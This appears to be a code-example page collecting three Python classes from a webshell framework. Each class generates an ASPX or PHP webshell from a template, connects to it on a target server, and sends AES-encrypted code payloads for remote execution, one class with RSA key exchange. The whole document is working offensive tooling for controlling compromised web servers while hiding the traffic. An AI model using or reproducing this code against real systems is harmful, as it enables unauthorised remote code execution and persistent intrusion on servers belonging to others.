Ejemplo n.º 1
0
class webshell(CSharpWebshell):
    
    def __init__(self):
        super().__init__()

        self.options.add_option('password', 'You need use this password to connect webshell server.', True, 'c', check=r'[\w\-]+')

        self.opener = None

        self.aes = None # 用于aes加密传输的aes对象

    def _create_key(self, key: bytes=None):
        '''创建秘钥,并填充当前的秘钥对象
        '''
        if key is None:
            key = os.urandom(32)
        iv = key[:16]
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))

    def _encrypt(self, data:bytes)-> bytes:
        if not data:
            return b''
        try:
            enc = self.aes.encryptor()
            padder = pad.PKCS7(128).padder()
            padded_data = padder.update(data) + padder.finalize()
            return enc.update(padded_data)+enc.finalize()
        except Exception as e:
            raise EncryptFailedError(e)

    def _decrypt(self, data: bytes)-> bytes:
        if not data:
            return b''
        try:
            dec = self.aes.decryptor()
            unpadder = pad.PKCS7(128).unpadder()
            content = dec.update(data)+dec.finalize()
            return unpadder.update(content)+unpadder.finalize()
        except Exception as e:
            raise DecryptFailedError(e)

    def connect(self)-> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        self.opener = Request()
        self._create_key()
        key = self.aes.algorithm.key
        
        pwd = hashlib.sha256(self.options.password.encode()).hexdigest()[:16].encode()
        self._create_key(pwd)
        data = base64.b64encode(self._encrypt(key))
        try:
            with self.opener.post(self.options.target, data, timeout=10) as f:
                ret = f.read()
        except BaseException as e:
            logger.error(e)
            return False
        if ret.strip() != base64.b64encode(key):
            logger.error(f"The accepted number `{ret.decode(self.options.encoding, 'ignore')}` does not match the expected `{base64.b64encode(key).decode()}`")
            return False

        self._create_key(key)
        return True

    @Webshell.handle_evaled
    def eval(self, payload: CSharpPayload)-> EvalResult:
        '''执行payload并获取返回结果'''
        payload = self._encrypt(payload.code)
        payload = base64.b64encode(payload)
        headers = {}
        if self.options.extra_assemblys:
            headers['Token'] = base64.b64encode(self._encrypt(self._generate_extra_assemblys_string().encode())).decode()
        result = EvalResult()
        try:
            with self.opener.post(self.options.target, payload, timeout=self.options.timeout, headers=headers) as f:
                data = f.read()
                data = base64.b64decode(data)
                data = self._decrypt(data)
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(self.options.encoding, 'ignore')
                result.data = data
                return result
        except (EncryptFailedError, DecryptFailedError) as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data[:100]}")
        except HttpException as e:
            err = self.EvalError('HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except BaseException as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result

    def _error_handler(self, error: dict, result: EvalResult)-> bool:
        '''处理webshell返回的错误信息
        '''
        if error['code'] != 1:
            for msg in error['msg']:
                err = self.EvalError(msg[0], base64.b64decode(msg[1].encode()).decode(self.options.encoding, 'ignore'), 
                    True if error['code'] == 0 or msg[2] else False, True)
                result.add_error_info(err)
                if err.iswarning and self.options.verbose > 1:
                    logger.warning(err)
                elif not err.iswarning and self.options.verbose > 0:
                    logger.error(err)
            if error['code'] == -1:
                return False
        return True

    def generate(self)-> bytes:
        '''生成并返回webshell代码'''
        self._create_key()
        code = ''
        path = os.path.join(os.path.dirname(__file__), "templete.aspx")
        with open(path, 'rb') as f:
            code = f.read().decode()
        pwd = hashlib.sha256(self.options.password.encode()).hexdigest()
        code = utils.templete_0(code, pwd=pwd[:16])
        return code.encode()
Ejemplo n.º 2
0
class webshell(PHPWebshell):
    def __init__(self):
        super().__init__()

        self.opener = Request()

        self.aes = None  # 用于aes加密传输的aes对象
        self.private_key = None
        self.public_key = None

    def _create_and_save_key(self) -> str:
        '''创建并保存一组秘钥,并填充当前的秘钥对象
        '''
        self.private_key = rsa.generate_private_key(public_exponent=65537,
                                                    key_size=1024)
        self.public_key = self.private_key.public_key()
        key = os.urandom(32)
        iv = os.urandom(16)
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))

        ID = utils.randomstr(16)
        d = os.path.dirname(__file__)
        if not os.path.exists(os.path.join(d, 'keys')):
            os.mkdir(os.path.join(d, 'keys'))
        while os.path.exists(os.path.join(d, 'keys', ID)):
            ID = utils.randomstr(16)
        with open(os.path.join(d, 'keys', ID), 'wb') as f:
            pri = self.private_key.private_bytes(
                serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8,
                serialization.NoEncryption())
            pub = self.public_key.public_bytes(
                serialization.Encoding.PEM,
                serialization.PublicFormat.SubjectPublicKeyInfo)
            f.write(pri + b'\n')
            f.write(pub)
        return ID

    def _load_key(self, ID: str) -> bool:
        '''从文件中加载数据传输需要的秘钥对象
        '''
        path = os.path.join(os.path.dirname(__file__), 'keys', ID)
        if not os.path.isfile(path):
            return False
        with open(path, 'rb') as f:
            content = f.read()
            self.private_key = serialization.load_pem_private_key(
                content, None)
            self.public_key = serialization.load_pem_public_key(content)

        key = os.urandom(32)
        iv = os.urandom(16)
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))
        if isinstance(self.private_key, rsa.RSAPrivateKey) and isinstance(
                self.public_key, rsa.RSAPublicKey):
            return True
        return False

    def _encrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            enc = self.aes.encryptor()
            padder = pad.PKCS7(128).padder()
            padded_data = padder.update(data) + padder.finalize()
            return enc.update(padded_data) + enc.finalize()
        except Exception as e:
            raise EncryptFailedError(e)

    def _decrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            dec = self.aes.decryptor()
            unpadder = pad.PKCS7(128).unpadder()
            content = dec.update(data) + dec.finalize()
            return unpadder.update(content) + unpadder.finalize()
        except Exception as e:
            raise DecryptFailedError(e)

    def connect(self) -> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        ID = '0'
        try:
            with self.opener.post(self.options.target, timeout=10) as f:
                ID = f.read()
        except BaseException:
            logger.error('Failed to connect to webshell')
            return False

        ID = ID.decode(self.options.encoding, 'ignore')
        if not self._load_key(ID):
            logger.error(f"Failed to load secret key for `{ID}`")
            return False

        iv = self.aes.mode.initialization_vector
        data = {
            utils.randomstr(8):
            base64.b64encode(
                self.public_key.encrypt(self.aes.algorithm.key,
                                        padding.PKCS1v15())).decode(),
            'iv':
            base64.b64encode(iv).decode()
        }
        try:
            with self.opener.post(self.options.target, data, timeout=10) as f:
                ID = f.read()
        except BaseException as e:
            logger.error(e)
            logger.error('Error in key delivery.')
            return False
        if ID != base64.b64encode(iv):
            logger.error(
                f"The accepted number `{ID}` does not match the expected `{base64.b64encode(iv)}`"
            )
            return False
        return True

    @Webshell.handle_evaled
    def eval(self, payload: PHPPayload) -> EvalResult:
        '''执行payload并获取返回结果'''
        payload = self._encrypt(payload.code)
        payload = base64.b64encode(payload).decode()
        data = {utils.randomstr(8): payload}
        result = EvalResult()
        try:
            with self.opener.post(self.options.target,
                                  data,
                                  timeout=self.options.timeout) as f:
                data = f.read()
                data = self._decrypt(data)
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(
                    self.options.encoding, 'ignore')
                result.data = data
                return result
        except (EncryptFailedError, DecryptFailedError) as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data[:100]}")
        except HttpException as e:
            err = self.EvalError(
                'HttpException',
                f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}",
                False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except Exception as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result

    def _error_handler(self, error: dict, result: EvalResult) -> bool:
        '''处理webshell返回的错误信息
        '''
        if error['code'] != 1:
            for msg in error['msg']:
                code = self._to_php_errcode(msg.get('errcode'))
                err = self.EvalError(
                    code,
                    base64.b64decode(msg.get('errmsg').encode()).decode(
                        self.options.encoding, 'ignore'), True
                    if error['code'] == 0 or msg.get('iswarning') else False,
                    True)
                result.add_error_info(err)
                if err.iswarning and self.options.verbose > 1:
                    logger.warning(err)
                elif not err.iswarning and self.options.verbose > 0:
                    logger.error(err)
            if error['code'] == -1:
                return False
        return True

    def generate(self) -> bytes:
        '''生成并返回webshell代码'''
        ID = self._create_and_save_key()
        p = PHPPayload('templete.php',
                       ID=ID,
                       pri_key=self.private_key.private_bytes(
                           serialization.Encoding.PEM,
                           serialization.PrivateFormat.PKCS8,
                           serialization.NoEncryption()))
        code = b'<?php\n' + p.code + b'\n?>'
        return code
Ejemplo n.º 3
0
class webshell(CSharpWebshell):
    def __init__(self):
        super().__init__()

        self.options.add_option(
            'password',
            'You need use this password to connect webshell server.',
            True,
            'c',
            check=r'[\w\-]+')
        self.options.add_option(
            'new_version',
            'Specifies whether the remote webshell is a new version.',
            default=1,
            type=int,
            check=r'0|1')

        self.opener = Request()

        self.aes = None  # 用于aes加密传输的aes对象

    def _create_key(self, key: bytes):
        iv = key
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))

    def _encrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            enc = self.aes.encryptor()
            padder = pad.PKCS7(128).padder()
            padded_data = padder.update(data) + padder.finalize()
            return enc.update(padded_data) + enc.finalize()
        except Exception as e:
            raise EncryptFailedError(e)

    def _decrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            dec = self.aes.decryptor()
            unpadder = pad.PKCS7(128).unpadder()
            content = dec.update(data) + dec.finalize()
            return unpadder.update(content) + unpadder.finalize()
        except Exception as e:
            raise DecryptFailedError(e)

    def connect(self) -> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        if not self.options.new_version:
            data = {'pass': self.options.password}
            try:
                with self.opener.post(self.options.target, data,
                                      timeout=10) as f:
                    ret = f.read()
                    if len(ret) == 16:
                        self._create_key(ret)
                    else:
                        raise Exception("Error response!")
            except BaseException as e:
                logger.error(e)
                return False
        else:
            # 新shell
            h = hashlib.md5()
            h.update(self.options.password.encode())
            self._create_key(h.hexdigest()[:16].encode())
            sign = "gyhnb"
            p = CSharpPayload(os.path.join(os.path.dirname(__file__),
                                           'new_version_test.cs'),
                              sign=sign)
            ret = self.eval(p)
            if not ret.is_success() or ret.data != sign:
                logger.error(
                    f"The expected response is `{sign}`, actually `{ret.data}`"
                )
                return False

        return True

    @Webshell.handle_evaled
    def eval(self, payload: CSharpPayload) -> EvalResult:
        '''执行payload并获取返回结果'''
        trans = b''
        with open(
                os.path.join(
                    os.path.dirname(__file__), 'temp.new.dll' if
                    self.options.new_version else 'temp.old.dll'), 'rb') as f:
            trans = f.read()
        payload = trans + b"gyhnb" + payload.code
        payload = self._encrypt(payload)
        headers = {}
        if self.options.extra_assemblys:
            headers['Token'] = base64.b64encode(
                self._encrypt(self._generate_extra_assemblys_string().encode())
            ).decode()
        result = EvalResult()
        try:
            with self.opener.post(self.options.target,
                                  payload,
                                  headers,
                                  timeout=self.options.timeout) as f:
                data = f.read()
                data = base64.b64decode(data)
                data = self._decrypt(data)
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(
                    self.options.encoding, 'ignore')
                result.data = data
                return result
        except (EncryptFailedError, DecryptFailedError) as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data[:100]}")
        except HttpException as e:
            err = self.EvalError(
                'HttpException',
                f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}",
                False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except BaseException as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result

    def _error_handler(self, error: dict, result: EvalResult) -> bool:
        '''处理webshell返回的错误信息
        '''
        if error['code'] != 1:
            for msg in error['msg']:
                err = self.EvalError(
                    msg[0],
                    base64.b64decode(msg[1].encode()).decode(
                        self.options.encoding, 'ignore'),
                    True if error['code'] == 0 or msg[2] else False, True)
                result.add_error_info(err)
                if err.iswarning and self.options.verbose > 1:
                    logger.warning(err)
                elif not err.iswarning and self.options.verbose > 0:
                    logger.error(err)
            if error['code'] == -1:
                return False
        return True

    def generate(self) -> bytes:
        '''生成并返回webshell代码'''
        code = ''
        path = os.path.join(
            os.path.dirname(__file__), "templete.new.aspx"
            if self.options.new_version else "templete.old.aspx")
        with open(path, 'rb') as f:
            code = f.read().decode()
        if self.options.new_version:
            h = hashlib.md5()
            h.update(self.options.password.encode())
            code = utils.templete_0(code, pwd=h.hexdigest()[:16])
        return code.encode()